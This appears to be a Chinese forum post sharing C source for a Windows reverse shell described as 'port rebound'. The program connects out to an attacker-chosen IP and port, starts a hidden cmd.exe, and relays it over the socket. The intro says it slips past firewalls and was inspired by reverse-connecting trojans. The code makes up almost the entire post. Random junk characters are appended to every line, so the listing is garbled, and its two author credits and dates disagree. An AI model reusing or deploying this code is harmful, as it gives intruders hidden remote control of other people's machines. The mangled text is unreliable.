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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "aAzG+NM  
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/* ============================== [fO \1J  
Rebound port in Windows NT ?w /tq!  
By wind,2006/7 SP5/K3t-*  
===============================*/ U1J?o #(  
#include u@[D*c1!H  
#include vKol@7%N  
PL%_V ?z  
#pragma comment(lib,"wsock32.lib") nuhKM.a{  
&kYg >X  
void OutputShell(); }3=]1jH6  
SOCKET sClient; ),dXaP[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; z.P) :Er  
v\0[B jhL?  
void main(int argc,char **argv) W[w8@OCNf  
{  h ej  
WSADATA stWsaData; iHWl%]7sN  
int nRet; A;q}SO%b  
SOCKADDR_IN stSaiClient,stSaiServer; |brl<*:  
` *h-j/M  
if(argc != 3) rjx6Ad/\  
{ D]Bvjh   
printf("Useage:\n\rRebound DestIP DestPort\n"); }\P9$D+  
return; EcBSi995dj  
} I tp7X  
_ z{:Q  
WSAStartup(MAKEWORD(2,2),&stWsaData); JEs?Rm1^.  
b":cj:mxL  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #R'm|En'  
X0Xs"--}  
stSaiClient.sin_family = AF_INET; 7L? ~;;L$  
stSaiClient.sin_port = htons(0); {b= ]JPE  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); DY0G ;L 3  
![{>f6{J  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) W@JmG`Sy  
{ q %8,@xg  
printf("Bind Socket Failed!\n"); :74)nbS  
return; .KXpB7:  
} oG3>lqBwD2  
vfcj,1  
stSaiServer.sin_family = AF_INET; !1w=_  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); P*)}ENY  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Xr6UN{_-  
_{C:aIl[2  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *:aJlvk  
{ O-}{%)[ F  
printf("Connect Error!"); d7N}-nsB  
return; YeptYW@xfw  
} _;L9&>!p6  
OutputShell(); ^MKvZ DOP  
} x.xfMM2n  
+8v^J8q0  
void OutputShell() ^e8~eL+  
{ mJ)o-BV  
char szBuff[1024]; 4{[Df$'e>  
SECURITY_ATTRIBUTES stSecurityAttributes; qOqQt=ObU  
OSVERSIONINFO stOsversionInfo; w=e~ M  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; WENPS*0oS]  
STARTUPINFO stStartupInfo;  -*M/,O  
char *szShell; 'k{pWfn=<  
PROCESS_INFORMATION stProcessInformation; 8{(;s$H~  
unsigned long lBytesRead; p\WW~qD  
OB>Pk_eQK  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }{J<Wzw  
R<a7TkL4?  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); uIiE,.Uu}  
stSecurityAttributes.lpSecurityDescriptor = 0; v<HhB.t.  
stSecurityAttributes.bInheritHandle = TRUE; K8ecSs}}J  
H YZ94[Ti  
 (/-2bO  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); B9&"/tT  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~?H _?}e  
k8Qm +r<p  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Gp6|M2Vu_5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b(wW;C'#0p  
stStartupInfo.wShowWindow = SW_HIDE; 1I<D `H%  
stStartupInfo.hStdInput = hReadPipe; D[-V1K&g  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^} %Oq P  
>Ke4lO"  
GetVersionEx(&stOsversionInfo); :{E;*v_!v  
Dny5X.8  
switch(stOsversionInfo.dwPlatformId) `p|{(g'  
{ -WWa`,:  
case 1: <=W;z=$!Bb  
szShell = "command.com"; =EA*h_"q9  
break; 4nN%5c~=  
default: 9r+]V=  
szShell = "cmd.exe"; 3<88j&9  
break; KnaQhZ  
} %oJ_,m_(  
se:]F/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l&R~ I6^E  
EC<g7_0F  
send(sClient,szMsg,77,0); 3P2H!r  
while(1) $Y5R^Y  
{ .J6Oiv.E  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !_3R dS  
if(lBytesRead) zYvf}L&]h  
{ 8$xd;+`y'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U3}r.9/  
send(sClient,szBuff,lBytesRead,0); l{[{pAm  
} R4.$9_ ui  
else D1}Bn2BM$  
{ E:a_f!  
lBytesRead=recv(sClient,szBuff,1024,0); xc7Wk&{=  
if(lBytesRead<=0) break; wR@&C\}9  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K;a]+9C  
} *e&OpVn  
} :G=N|3  
"g;^R/sfq  
return; b)"bX}  
}
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